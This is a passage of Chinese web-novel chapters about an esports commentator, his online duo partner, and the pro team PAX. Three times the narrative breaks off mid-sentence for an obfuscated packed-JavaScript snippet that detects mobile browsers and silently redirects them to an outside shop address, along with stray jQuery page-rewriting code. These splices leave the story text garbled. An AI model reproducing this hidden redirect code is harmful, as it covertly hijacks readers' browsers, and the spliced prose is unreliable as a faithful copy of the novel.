这个辅助可以变成一个斗鸡眼的泡泡滚来滚去现在正在女仆面前吐舌头。 “他女朋友帮他呢,烦死了,人头都抢不到,”陆意扬说,“他女朋友玩得挺不错啊。” 【N:看不出来。】 陆意扬的心思都没在小粉丝身上,“你去钳制一下他俩,我新电脑的第一把我要开门红的。” 大泡泡露出一个流口水的表情滚过去了。 “算了,你现在看起来像个弱智,”陆意扬说,“滚去玩吧。” 大泡泡的鼻涕流下来了,两个眼珠子开始溜溜转。 【N:哦。】 小规模的团战爆发,陆意扬的女仆魅惑了对面的中单,辅助泡泡可以召唤飘来飘去的小泡泡当视野用,所以这个英雄搭配女仆是个绝配。 陆意扬看准了他们快到中路二塔而团战一触即发的时刻,几秒内将对方中单的技能扔了个干净。 一个E接W挂在辅助的头上,人最多的时候偷光了辅助的蓝。 陆意扬还有一刀平A的时候奥帕的技能比他的手还快—— 但是泡泡一个小技能保护替对方格挡了奥帕的伤害,又将维修师之灵禁锢,对面杀了奥帕跟维修师之灵后... 陆意扬技能CD完成,再接一波伤害拿到了四杀。 【爱是莉莉安[克莉奥帕]:泡泡有病?】 【莉莉安[维修师之灵]:你刚刚的技能不保队友保对面?】 【爱是莉莉安[克莉奥帕]:为了给这女仆让人头还杀队友?】 【N[泡泡]:我不会玩。】 陆意扬说,“我四杀了,我好久没有四杀了,真有意思。” boss已经被己方拿到,经济优势跟装备优势明显,AD已经发送了中路一波的信号。 陆意扬的技能已经CD完了,泡泡跟着还是蠢笨地滚来滚去。 最后一波团战在中路二塔展开,这次的小情侣都学聪明了等着陆意扬先开团。 陆意扬刚刚已经过瘾了,大大方方的魅惑了对面的上单就顶上去。 小情侣开始往前,AD已经站桩输出,泡泡不知道什么时候跟个鬼一样过来了,一个泡泡又将奥帕吹起来,又用禁锢之刃将维修师之灵锁了,陆意扬跟着AD继续杀,泡泡在玩弄队友之际还不忘给陆意扬套一个泡泡加防护。 【爱是莉莉安[克莉奥帕]:你有病吧草?】 【莉莉安[维修师之灵]:老公,他真的好恶心。】 泡泡直接刷新继续给陆意扬开路,顺便把这小俩口继续留在原地。 【爱是莉莉安[克莉奥帕]:我刚刚叫你出破刀,你不出,出了我能被他恶心吗?】 【莉莉安[维修师之灵]:你的意思是怪我了?】 “这莉莉安跟着这个男的可惜了,她打得真挺好,刚刚那一波还确实有点秀你看见了吗,”陆意扬又魅惑了对面的打野,“我要五杀了,快过来。” N一下一下地点着自己的英雄的脑袋,绿色的光圈图标,越点越快,看起来像戴了一顶绿帽子。 “等会儿,打个Boss,你把他们控住别抢我装备。” 陆意扬刚卖了个小装备,身上就又出现了一个装备,来自N,陆意扬扔回去,他又扔回来,又给他扔回去,他又扔回来。 陆意扬不解地问,“你一直往我身上丢酸瓶子干嘛?” 15. 替补解说 陆意扬这把是玩爽了,就是最后的五杀没抢到,MVP给到了中单,陆意扬嘿嘿笑,“你知道我多久没有拿到这个战绩的中单了吗?” “诶,你别说,你打辅助打得也好。”陆意扬美滋滋地又开了一把。 【N:你玩什么。】 “上把有点使劲儿了,我这把打辅助,放松一下。”陆意扬低头看见手机在震动,“诶...” “我接个电话啊。” 陆意扬耳机里夹着手机接电话。 “喂?” “嗯,是。” “线上解说是吗?” “啊,哦,哦。” “替补是吧,可以,好的。” 陆意扬挂了电话说,“那个官方的解说不是上热搜了吗,换人了,但是我还是替补,又坐冷板凳。” 【N:明天?】 “嗯,”陆意扬也没太大的信心,“八成没戏。” 二人这把排到的各位都会玩,打起来还挺轻松。 “我看群里明天的比赛在复试解说,缺的是主解,”陆意扬说,“再看吧,没事儿。” 【N:哦,想看你解说WPL。】 “我倒也想啊,”陆意扬说,“我没解说过WPL的,但是我要是去解说他们,就不可能像之前解说其他赛事时候那样了,那些队伍都没有什么比赛经验,人员也很紧张,都还在成长,稍微还是悠着点,别太打击人,但是到了WPL,都是赛场里出来的,打得差就打的差,还要什么遮羞布啊,都到这份上了。” 【N:可以。】 “可以什么呀,我估计就只能解说一场就被官方请下去了,”陆意扬说,“但是过过瘾也行。” 【N:没事。】 “那我们可能打完这把我就要下了,”陆意扬说,“虽然我是替补小解说,但是万一让我上了我一点准备工作也没有也不行。” 【N:好的。】 “又放你鸽子了,”陆意扬说,“怪不好意思。” 二人聊着天,这把都快打完了。 【N:你可以直播看之前的比赛。】 “也行。”陆意扬说,“反正时长还不够。” 他的排位都到200多了,似乎到1000也不太难。 这会儿是晚上十点多,零星几个乱码会蹿入直播间,其他时间又变成了一个主播一个观众。 陆意扬在直播间观看往届精彩比赛的解说集锦。 解说这些就得基础扎实反复训练,嘴比脑子先把话术成型,现在他虽然玩得死菜,更别说打职业,但是游戏理解跟英雄池子他感觉自己也不差。 但是他偶尔也会怀疑自己,怀疑自己的解说没有人喜欢。 WATA2的春季赛开赛一周了。 在春季赛之后会有转会期,从城市赛,冒泡赛,次级联赛,次级联赛能有两个名额,而春季赛的WPL会淘汰最末尾的两个名额,互相再打资格赛。 所以人员变动都是很正常,很频繁的。 这就代表着可能去年过年那会儿的星赛的很多队伍体系都会在下一次赛事的时候调整。之前他做的那个PAX对阵INE就是春季赛的开幕赛,就是他们争论鳄鱼bug的一场。 陆意扬看着比赛的视频,在Replay的位置自己反复默念,然后在看其他解说是如何呈现的。 这是一个极为枯燥的过程。 反反复复的,念多了还容易嘴瓢。 跟开专场比起来,可真是钱少又辛苦。 开专场基本不需要什么力气,而且还财源广进,但是他真的不怎么想干了。 就算干,他也想做免费揭发的,起码他的骨头能硬一点。 但是人比较痛苦就是既要还要,又当又立。 陆意扬完全明白,所以也挺瞧不起自己。 但是有时候又觉得有什么瞧不起人的呀! 他们又是什么好人了啊! 好人能上我的场子来啊! 活TM该的。 陆意扬控制着自己的脑子不往这里想,他点到W4的赛事,这是他看得最多次数的一场,他把解说的重要节点都标注下来,然后用自己的方式去解说,录下来,感受人家是如何带动现场气氛,怎么让人热血沸腾的。 其实解说比打游戏还要复杂,解说要兼顾十个人的技能、装备、许愿、加成、习惯打法就算了,厉害的解说基本还有海量的比赛内存。 陆意扬觉得,解说最关键的还不是秀他们玩家都知道的专业词汇,而是让不会玩的人也能听懂这个比赛的乐趣在哪里。 就像财经频道的女主播,复杂的金融大菜在她们手上会变成一道道用家常菜来理解的说法,让这些高高在上的知识成为每个人都可以听懂的常识。 他看的这场比赛的十个队员都已经退役了,比赛也是好多年前了,他们有的在微博秀娃,有的在做直播,有的去当了经纪人,年少的他们当时可能都意识不到自己打了一场怎么样的比赛,也许不是他们在电竞职业生涯里面发挥得最好的但是毋庸置疑是一场难忘的,解说员若是能用自己微薄的语句让少年热血撒得再稍微远几毫米就更好不过了,反正,这一场比赛差不多就是让陆意扬在当时坚定了打比赛的心意,当然,现在没了。 陆意扬在直播间自言自语,细细碎碎。 他的直播间里只有一个观众,此时这个观众看着膝盖上的平板,听着主播在那边似乎因为记不住打了两下自己的头。 「笃笃——」 “进。”谈年合上了平板。 “哥,”小五的手上套着一次性手套,“给你发微信了叫你下来吃夜宵怎么不来啊。” “带耳机了。”谈年把平板放在旁边,“没注意。” “你看什么呢?”小五瞄了一眼,“这比赛好久了吧。” “嗯,随便看看。” 谈年跟小五一起下了楼,楼下的多功能会议室热气腾腾,他们围着吃火锅。 “坐这儿。”B哥喊他。 谈年只给自己的蘸碟里面倒了点生抽。 “这几天你一个人玩什么呢,”B哥站起来捞牛肉,“是不是在测试新版本的英雄啊。” 谈年说,“随便玩玩,排位。” “你不是每次打到比赛服能进就不打了吗。”B哥指挥着飞星下菜。 “低分。”谈年低着头吃东西,“带朋友。” “你去打低分?”B哥不可思议地说,“虐菜找成就感啊?” “打低分,跟朋友,”小五刚吃完披萨,摘了手套,“这两件事都不正常。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808775|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘶,我TM!”B哥猛一下站起来,大喊,“网恋啦?今天是不是奔现去了?” 谈年吃了几个鱼丸,往沙发上倒,瞥了他一眼,“飘飘理你了是吗。” “你可真会聊天。”B哥悻悻地说。 “诶对了,”小5嘴里含着东西,“游戏公告看了吗,我都怕官方追杀羊崽,这得损失多少钱,撤热搜的钱都得算在他头上。” “放心吧,你羊崽的粉丝也不是省油的灯,有你妹那样的粉丝,追杀一次东山再起一次。”B哥踢了K哥一脚,“是不。” K哥含糊不清地嗯不嗯的。 其实PAX全员对羊崽的态度最开始也都不好说,毕竟是队友的黑粉,那视频里面阴阳怪气得谁都能听出来,但是他们看见了好几次谈年就躺在沙发上在投影上看着他的视频,然后不知道什么时候就睡着了就没有那么讳莫如深了。 几人都吃好了,懒洋洋地分散在沙发上,他们的娱乐活动无非也是看自己输掉的比赛。 “羡慕,你都没看见他今晚的人气,”小5看着天花板,“八百万人气啊...我只能在比赛上看见这么恐怖的弹幕量,但是他根本不在乎,着急忙慌地说找朋友玩去了,我还没看完呢他就跑了。” “你怎么不说他的微博粉丝?”B哥说,“我都没他多。” “你也可以像他一样。”吕飞星说。 “我可没那本事,”B哥吃完了擦了擦手,“你都不知道他的粉丝攻击力多强。” “我跟你说,这个可以物尽其用,上次我打崩了别人来骂我,我的粉丝们一个都骂不过。”小5吃饱了,揉着肚子说,“最后我的大粉都去他微博复制他们的评论回复他们。” “可好用了。”小5笑起来,“把黑粉气坏了。” 小5靠了过来,“哥,你就真不在乎他骂你啊?” “没有。”谈年说。 “那你还理他?”小5问。 “不是他的问题。” “你知道他是谁啊?”小5意识到自己在说什么的时候,捂上了嘴,轻声地问,“他是谁呀?” “不知道。”谈年垂着眸子说。 “说一下,我保密的。”小5都用上气音了,“我下次看见他绕道走。” “他不会无缘无故地找谁麻烦。”谈年站起来要走了。 “啊啊!”小5拽了一下谈年的袖子,“哥!你跟我说呗!” 谈年吃的很快,约摸十来分钟,回去的时候看见「解说小六」的直播间还在直播,主播在那边反反复复地拉进度条,他似乎忘记了他的电脑晚上直播过所以是截取的电脑显示全屏,他左上角的备忘录一览无遗。 今天的备忘录都是一些眼位,技能衔接,小规模团战的解说速记,整波团战对比赛局势的影响,接下来的两边作战体系的预判。 但是谈年的注意力只在他上面被遮挡了一半的备忘录: 大约还能剩下几条: SB数据... SB新版本装备优先级... SB常用英雄... SB队伍常用阵容分析... 谈年盯着平板,那头的人好久都没有声音,似是睡着了。 一条弹幕飘过: 来自六六的小粉丝:【晚安。】 16. 冒菜好吃 大周六陆意扬热醒了。 男人自己住,冬夏就一床被子,但是陆意扬还是注意生活品质的,所以给自己换了一床四件套,小碎花,以前他妈买的。 他一睁眼看见自己新电脑的时候还有点恍惚,想起来已经换掉了。 他有挺多软件都得重新弄,新的音响也比从前好了很多,他开着直播混时长,开了一个比赛权当背景音乐。 他打开冰箱门也没什么吃的,只能给自己下了一碗面,而且面也没几根。 但是新电脑就是好的,从前那个旧电脑的耳机他戴久了就有点夹脑袋疼,后来生气掰了一下,脑袋倒是不夹了,直接溜下来了。 新耳机戴起来很舒服。 从前煮个面条水都开了那电脑才开机呢,现在转个身电脑就开完了。 WATA2的排位匹配早上9点才开。 陆意扬端着面条出来,想着自己的小粉丝应该没自己这么勤快,所以他打算单排。 他进游戏习惯性的瞥了一眼。 他的个性签名: 【N:等我。】 陆意扬狐疑了一下,就看见他上线了。 一起玩了好多次的游戏,也没那么生分了,他上线了陆意扬就拉他。 “早上好啊,你怎么也这么早。”陆意扬呲溜呲溜地吃着面条。 【N:闹钟。】 【N:你呢。】 “我早都起来了,自律的男人最美丽,我饭都快吃完了,”陆意扬说,“本来你不来我还打算单排呢。” 【N:我去拿个面包。】 “你好好吃饭啊。”陆意扬说,“19岁,还长个子呢吧?” 【N:没事。】 “你说你设闹钟干什么,你多睡一会儿,”陆意扬说,“什么时候醒什么时候跟我双排,方便的时候就行了。” 【N:方便。】 陆意扬拍了一张自己电脑的照片,用掌上WATA2发给小粉丝。 “好看不?”陆意扬问,“是不是酷炸了。” 【N:还行。】 “就这还行?”陆意扬仰在他的电竞椅上,发出吱呀的一声,“就为了这么漂亮的设备,我都应该配一个好一点儿的电竞椅,我这椅子好像螺丝少了还是后面的靠背歪了,坐得我腰酸,但是我之前抽奖抽到了,不知道那个公司怎么发货就这么慢。” 【N:恭喜。】 “我就运气一直都好。”陆意扬美滋滋地说,“你吃好了吗?” 【N:开吧。】 二人排位进游戏,大早上的人比较少,排了一会儿才排到。 “等回头分高一点就好上了,就是现在分太低,吸的分也低。”陆意扬说,“按照我们这速度,用不了多久,我就能报名了。” 【N:那你还玩吗?】 “应该会玩得少。”陆意扬说,“但是你想玩也可以玩玩的嘛。” 【N:好的。】 陆意扬选了个中单,对面也不厉害,跟人机似的,就只需要瞎玩就把中路打穿了,“你19岁还在上学吗?” 【N:休学。】 “那还是得上学的,”陆意扬问:“是网瘾太大了吗?” 【N:差不多,会回去的。】 “那你应该去青训队,要死要活地去被虐就可以戒网瘾了。”陆意扬开玩笑说,“要么在学校找个女朋友,管着你的那种。” 【N:我能管自己。】 二人懒懒散散的,一边聊天一边打游戏,没到二十分钟对面就点了。 继续开下一把。 PAX俱乐部。 被尿憋醒了的小五顶着自己的鸡窝头起来听见有声音,眯着眼睛看见了正在打游戏的谈年。 “哥,”他的嗓子干巴巴的,推门进来,“你大早上的,又在练补兵啊?” “玩会。” “我们几个直播合同都卡在八戒,你那时候又没来又没那合同,椰哥不是说了吗,你打游戏可以直播啊,”小五眯着眼睛,往电竞桌上一趴,“反正又没差,你为什么不挣钱。” “懒得开。”谈年半戴着耳机,一边听小五碎碎念,一边操作游戏,一边还要听陆意扬说了什么。 “唉,真应该让黑你的看看...”小五还在嘚啵得。 谈年目不转睛地操作游戏,打断他,“刚椰哥过去了,问昨天谁提议在会议室吃火锅。” “困了,”小五像个梦游的人一样闭着眼睛走,“椰哥要是来问就说你昨天找我打solo打到天亮。” 谈年重新把耳机戴正,听见里面的人在喊,“我把他们包围了,快点过来成就哥的四杀!” 谈年一看,陆意扬一个人深入对方野区,光视野内就有三个人在追他。 【N:...】 小粉丝神兵天降,一张tp还未看清是谁落下,对方范围性技能没控到他,不知道是什么手速反正连跳技能就开始输出,陆意扬二打四完全不怵直接回头,收割残血之后继续往前追,二人配合默契,一个反打直接为这把游戏的胜利打下基础。 陆意扬拿了个三杀,高兴了,“这游戏太有意思了,咱俩收拾收拾打职业去吧,治理一下现在这个菜的要死的WPL,咱俩就当队友,咱俩就一起捧杯。” 谈年的指尖一颤,原地扔了个技能,有点尴尬地转了两圈。 但是显然陆意扬没发现。 “你等着啊,我去了这个WPL解说,看看我能不能认识人,”陆意扬回城又出门,“我走后门,我给你资料递进去,咱俩就偷偷装不认识,我要是能遇到你的比赛,我就贬低你,一贬低你吧就有人出来维护你,反驳别人就是观众最爱干的事情,我机智吗?” 【N:嗯。】 “开玩笑呢,”陆意扬刚起来的前面两把还好,打得他自己挺满意,心情都顺带着好了不少,“晚上你有事儿是吗?我得自己单排?” 【N:嗯。】 “我晚上正好也不玩,看一会春季赛,正好等你了。”陆意扬说。 【N:嗯。】 第四把打完二人上分都很顺,一眨眼陆意扬的分快400了,要是下午能把分往500上,排到的池子就可以开始换人了。 “中午你吃什么啊?”陆意扬问。 【N:你呢。】 “想不好,点外卖吧又不太干净,我自己做吧又犯懒,”陆意扬懒洋洋地操作着辅助,“我们学校边上,就我住的这块儿,从前有个麻辣冒菜,好吃,又很干净, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808776|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来他们换地方了,不在这儿干了,他家还有那个铜锅米线,我觉得也还行,好吃,就是我去吃一趟太远了,麻烦。” 【N:哦。】 【N:叫什么。】 “你也要去吃啊?但是我不知道他全国有没有连锁,好像是自己家开得吧?”陆意扬说,“「奇怪怪香辣冒菜」,叫这个。” 【N:哦。】 “说饿了,”陆意扬学着里面那个鳄鱼咬人的时候的配音,“啵滋,真好吃。” 【N:嗯。】 “你有什么喜欢吃的吗?” 【N:都行。】 “跟你聊天真无聊,”陆意扬犹豫了一下,“...就很像那种,人机。” 【N:......喔。】 陆意扬刚说完他的麻辣冒菜就感觉肚子咕咕叫。 “不行了我好想吃,”陆意扬说,“我去吃香辣冒菜了。” 【N:好的。】 陆意扬匆匆结束了游戏,说来这几天游戏打得也有点多,虽然对面菜吧,但是游戏体验是好的,其实从前他只喜欢那种高质量的对局,最好被碾压又翻盘,打赢了之后感觉真是很爽,但是他没机会了吗,所以现在虐虐菜也行,能跟人把配合打出来也高兴了。 他下楼单手推着自己的自行车,低头在手机上搜那家香辣冒菜在那里,骑自行车过去还得二十多分钟。 这天不冷不热的,暖春,倒也适合骑行一下。 他调低了自己的车座,这山地车赶不上现在特别省力的那种,但他还挺喜欢。 他把手机别在车把上,就往前骑去。 三月中旬中午的太阳有点儿刺眼,风把他单薄的棒球衫吹鼓起来,他踩得有点快,在市区林荫道里穿梭。 小餐馆都还没到,辣子的香味已经闻到了。 正值中午,店里的人不少,陆意扬扫码点着菜,就是上得有点慢。 陆意扬终于吃到了心心念念的奇怪怪麻辣冒菜,坐在窗边角落,吃得额头上都是汗。 吃饱喝足之后他起身去结账。 “你们这个店开得这么远,我过来吃一次可费劲了。”陆意扬在前台结账,“但是你们家的冒菜真好吃。” 小姑娘是老板的女儿,年纪不大,低头似乎在看直播,头也没抬地说,“那边的房租实在太贵了。” “也是。”陆意扬说,“你扫我吧,我刚还拿了一瓶矿泉水。” “你扫收款码。” 陆意扬刚骑上自行车准备要走,那个小姑娘匆匆地追了出来,脸还有点红,怎么看着有点惊魂未定,她气喘吁吁地说,“你可以加...加这个微信,你想吃了就发。” 说着就展示了一个微信二维码。 “那感情好啊。”陆意扬扫了码说,“谢啦!” 陆意扬骑着单车离开。 店里戴着鸭舌帽板着脸的小五眼睛都睁不开,一脸生无可恋,“.......哥,你这么早把我弄起来说带我吃好吃的,就是吃冒菜?还没有阿姨做的麻辣烫好吃。” 小五在油腻腻的桌子上垫了一张纸,把下巴搁在上面,看着对面的人从服务员那拿回手机,“而且,哥,我们俩都不会吃辣,为什么要来吃冒菜啊.......” 17. 想要钱呀 陆意扬回家了之后在算账。 他判官那职业看起来的打赏挺多,但是等平台扣完一半,还需要再过个税。举报的太多,证件要是封三次就搞不了直播了,所以他不能直接提现到卡里,而是需要在淘宝闲鱼上找收礼物的老板,八折回收掉,这钱才能到他手里。 而且这事儿也就他声名鹊起的时候挣得多一些,烂人不够多,判官也发愁。 视频打赏的钱就不太一样了,基本都是直接到卡上的。民间大哥不来的话也就剩下一点辛苦费,而且他感觉zonke的操作也不能说毫无瑕疵,但是他有点说服不了自己了,感觉他只会越来越强,底气不足让他的视频播放量也越来越不如从前。 剩下个解说小号也就这么一点低保,而且合同到期了人家也未必会跟他续约,如果他想去解说秋季赛的话,可能连直播的时长都不够,整整一个多月可能都没什么收入。 但是姥姥那头的钱还是得交,他上次被他姥姥的脑溢血吓得他脑子都发麻,有一笔钱他是死也不能动的,那么无助的时刻他不允许自己再体会一次了。 陆意扬的指尖夹着笔,他挣钱的事儿都是没明天看运气吃饭的事儿,他悬在上面就是没有安全感,尤其是这次的事情闹得还有点大,他不知道自己什么时候判官的账号就被封了,说来,要是封了,他也就顺其自然不干了。 他还剩下一年的学没上完,自己养活自己都有些费劲。 他仰在破椅子上,点着自己的手机,他有一个群,里面都是沪宁以及周边网吧或者商场的争霸赛活动,里面有一些主持人,场务,小解说,缺人了就在里面喊。 现在的露天的解说比赛他倒是很少去了,有时候那比赛下面坐得都是一溜的老头老太太,他们看也看不懂,大声地讨论哪家药店送鸡蛋,上周的教堂在分八宝粥。 有一回,一个很偏的地方搞什么网吧赛,因为叫不到人,费用也是给的更高一点,然后那会儿还是下雨天,闷热,潮湿,日子已经定了,广场上的LED屏幕已经立起来,玩家们在网吧里打游戏,陆意扬在广场上解说,雨越来越大,躲雨的就那么几个红色的棚子,比赛打得不怎么样,解说也没什么东西能说,观众.....也没几个。 陆意扬被风吹得人都发抖,但是音箱就那么长的线,他只能站在那里继续解说,好心的小姐姐把棚子挪过来也依然冷。 但是这个活动本来是要招揽新会员,因为天气的原因连人都没多少。 连活动的费用都没挣回来,陆意扬去结账的时候,老板说,给他网费抵工资。 陆意扬真他吗草了,他大老远跑来这里尽职尽责地解说了四个小时,老板说网费抵工资? 在前台大闹了一通,为了几百块钱,他感觉他的声音都抖了。 最后有大哥三折收了才算作罢,但是还是难受极了。 这就算了,他回家之后还大大地感冒了一场,去医院挂了三天的水才算活过来,咳得肺都要出来了,导致他现在看见露天的解说赛都感觉盐水打多了嘴里发苦。 陆意扬算完了手上的账单,看着他还要攒的数字就感觉头痛,他一下一下地点着电脑,唉,要是天天有专场开就好了。 下次没什么名气的也可以开,管他呢。 陆意扬刚点进自己的微博,就收到了一条私信:【功能限制通知>>>社区公约】 然后自己的账号上面挂了一句橙色的【该用户处于禁言期】 禁言? 7天? 官方这么快就出手了吗? 我还没来得及告别呢? 但是陆意扬还没怎么着呢,底下的评论炸了。 【狗WATA不做人是吗?要是我儿子死了我要你们全WATA陪葬!陪葬!】 【官方下场捂嘴?这一波我站老百姓。】 【官方幽了哥一默。】 陆意扬看着他的评论区前几条,心里有一点点的欣慰,流民也是有情有义啊。 【我将拥护羊崽起义!】 【王侯将相宁有种乎!】 【乙巳年辛巳月,WATA2发起工农联盟起义,推翻官方暴政,现起义军囊中羞涩,望各位乡绅扫码支持!羊崽登基后百倍重谢!】 他们的脑回路是什么? 陆意扬还没反应过来,下面的重点又不一样了。 【大家快骂呀!他被禁言啦!终于可以报仇啦!】 【我草,怎么把这茬给忘了?】 【zonke粉前来道喜。】 【正在羊崽坟前喝喜茶。】 【雅。[茶杯][OK]】 【大家为什么要这么对羊崽呢?他只是嘴贱,本性又不好。】 【大家别这样对羊崽,在遇见他之前我一直是讨好型人格,现在我是讨伐型人格了。】 【我早死的羊啊,趁着还没死透还不起锅烧油...】 【苦日子终于过去了,庆祝羊崽祭日我全款拿下一杯蜜冰雪城。】 【盼羊归】 【等会儿,Tico的微博什么意思?善恶有报,他说谁呢?】 【怎么着欺负我们羊崽哑巴当我们死的啊!】 【我能骂他,Tico是个什么东西?!】 【老三件,控评,举报,洗广场——】 【羊崽乖乖在家啊,爸爸妈妈们出去一会儿就回来接着骂你,饭在垃圾桶里,水一定要喝100度的,烦闷就打开煤气点根烟,累了就赶紧去死。】 ......陆意扬在评论区看完之后有点佩服自己,他是怎么集齐这么多牛鬼蛇神的? 但是别说7天了,这十分钟陆意扬已经受不了他们了,他感觉他被人毒哑了,现在阿巴阿巴地说不了话。 可是陆意扬不能创建小号,没藏好容易让他们揪出来,这帮狗贼一天天疑神疑鬼,他可不能逞口舌之快。 陆意扬刚刚打算把微博关了换个心情的时候—— 【PAX-zonke:发的图片试试码一下再反馈误判。】 “我用你管?”陆意扬嘴上是这么说,手上老老实实已经开始编辑了,他刚刚就在查解封教程,只是还没找到而已。 他上条微博的图文有点血腥,他重新弄了一次然后申请解封,嘿,果然好了。 【羊崽:刚刚在我评论区蹦跶的那帮小畜生都给我出来】 【快跑啊!!!诈尸啦!!!】 【来人按住他的棺材板!!!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808777|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【官方怎么还不出来掐死他!他又拉黑老子的号!】 【等会儿,zonke来教羊崽解封账号?】 【zonke在这里不一直都装好人吗?显得自己很大度,WPL人设一哥。】 【假惺惺,让人作呕。】 【羊崽最近骂zonke越来越无力了。】 【我也,只能反复品味从前的视频。】 【如果有天他俩握手言和,我将生吃Tico腋毛。】 【啥好吃的你就想着自己!】 陆意扬随手封了几个蹦跶得最欢的,但是他也就禁言几天而已。 接着他又关上了页面,看见了他的小粉丝上线了。 陆意扬拉他进房,戴上耳机,“我猜你也吃饭去了,我跟你说,我想吃那个冒菜,老板说可以外送。” 【N:哦,好的。】 “嗯,”陆意扬边ban人边说,“他家好吃。” 【N:你多吃点。】 “我随便ban了几个,你玩什么?” 【N:都行。】 “你会玩双子星吗?”陆意扬问,“我感觉按照你的操作应该能玩得不错。” 【N:可以试试。】 “行啊,”陆意扬说,“我看看你的双子星,新版本加强了。” 双子星这个英雄是是个C位,难点是,他有姐妹两个英雄,需要编队双操。 短手近战c妹加上长手输出脆皮姐,死妹妹英雄废了,死姐姐那就都得死。 这个英雄的大招更难掌握,大招是姐妹二人瞬间交换位置,直线上的所有敌人都会进行掉血,但是要看好双子星二人的位置,短了没伤害,出了范围又无效,容错率非常低。 只见小粉丝三级之后兵分两路,姐姐吃线妹妹蹭打野经验,二圈三丛野怪之后等级高了对面AD2级。 【N:来。】 5级双子星带着陆意扬直接进野区,妹妹前去探路,控着妹妹黏住了对方等级最高的辅助,但对面打野也来了,技能持续消耗妹妹,看二人技能正在CD,妹妹蹭到野怪控6,一个大招拉死,一波双杀。 陆意扬还没来得及夸他,就见他购物之后继续深入,陆意扬看他买的短刀就知道他舍弃了推荐的保命遛狗装而选择了脆皮输出装。 虽然可能说是低分的队伍的走位太差,也可能是英雄这版本加强了,反正不管怎么说,这一把简直是双子星的showtime。 对面数次想要针对抓死他,得益于陆意扬的辅助也确实给力,辅C二人拉爆了战场,连陆意扬一个辅助都开始正面平A对点。 窗外一阵淅淅沥沥的春雨落下,谷雨好像要来了,谷雨一过,整个沪宁都将暖和起来。 “你这把打得真漂亮,等我回头给你做个视频吧,当教学视频,”陆意扬点着小粉丝的OB视角,“但是可能没什么人看,晚点我保存一下这把的录像。” 【N:喔。】 过了一会儿。 【N:算了吧。】 “怎么了?” 【N:你说腰痛。】 “这有什么关系,”陆意扬淡淡笑了一声,“只是觉得,我好像不配有你打得这么好的粉丝。” 18. 版本更新 春季赛PAX战队的第三场比赛。 因为开幕赛的时候与INE1-1战平,可INE的五位队员平均年龄最为年长,而且上单的状态肉眼可见的下滑,所以唱衰PAX的弹幕占了一大半。 晚上7点,陆意扬摸进了官方直播间,这次的比赛启用的是新版本。 这个版本其实更新的也蛮诡异的,去年春秋两个版本相对来说有点过分强调个人能力了,但是星赛的版本呢又把重点放到了团战上面,策划似乎一直很难平衡这两个点,一直在做尝试,今年春赛的版本又有变动。 诡异的点在于,官方这次给出的版本在15分钟的时候调整了Boss,从前的版本两个Boss坑都是随机刷新,有全员能有加速buff的被玩家戏称为「卡丁车」的,有配置给C位的「机械臂」,也有配给中单的「爆裂火」,谁先刷完自家boss谁家boss坑里能出振奋兵线的祭旗,容易一波推,但是现在给出来的Boss却变成了「增加全体主属性」,但是加么又加得不高,就差不了多少,跟闹着玩似的。 除了这个变动,几年前的180sTP也缩减了时间,去年星赛已经已经变成了90s,但是在今年春赛的版本里,TP的CD到了75s,这样的话不管是机动性还是主动性,或者是容错性,都将会因为这个数值的变化无限的抬高。 区别于LOL300sTP传送,他们一波团战打不好就要炸了。 TP还可以再缩,陆意扬想,如果WATA2想追求一直爆发团战跟支援的话。 支援变快之后现在的选手都不打算拖Boss点了,直接就前期对着壳,必须要在前期把最大的优势打出来。 于是乎这个游戏在春季赛的版本变成了「大前期战役」。 大前期战役的节奏无非就是野辅入侵,中单快速发育,接着就是游走gank,配合上单,游戏思路还是比较清晰的。 比赛准时开始,陆意扬拎了个平板躺沙发上看今天的赛事。 本来今日的解说是May,但是临时换了人,上来的解说是一个小胖子,西装看起来都有点紧了,陆意扬感觉自己确实给官方添了麻烦。 小胖子名叫阿圆,倒是适合他。 两个解说员自我介绍之后,开始对两边的队伍进行分析: “欢迎大家来到WPL春季赛第六日的比赛直播间,PAX vs SUA。” “PAX战队大家十分的熟悉了,在WATA2里面是人气非常高的超级战车,他们素来以超强的个人能力,彪悍的进攻打法,深受观众朋友们的喜爱。” “是的,SUA呢也是我们WATA2玩家的老朋友了,征战WPL也有四年了,成绩也非常的傲人。” 万年老二。 但是显然解说员都是不愿意这个标志性的东西挂在他们身上,毕竟粉丝容易破防。 “所以这两只队伍的比拼定然是非常精彩的。好的,已经到了他们的BP画面。”小圆似乎额头都出了一点汗,毕竟临时顶上来这次的版本又变化又大,没有什么能参照的,SUA的人员又经历了调整,整个队伍打得有点...神戳戳的。 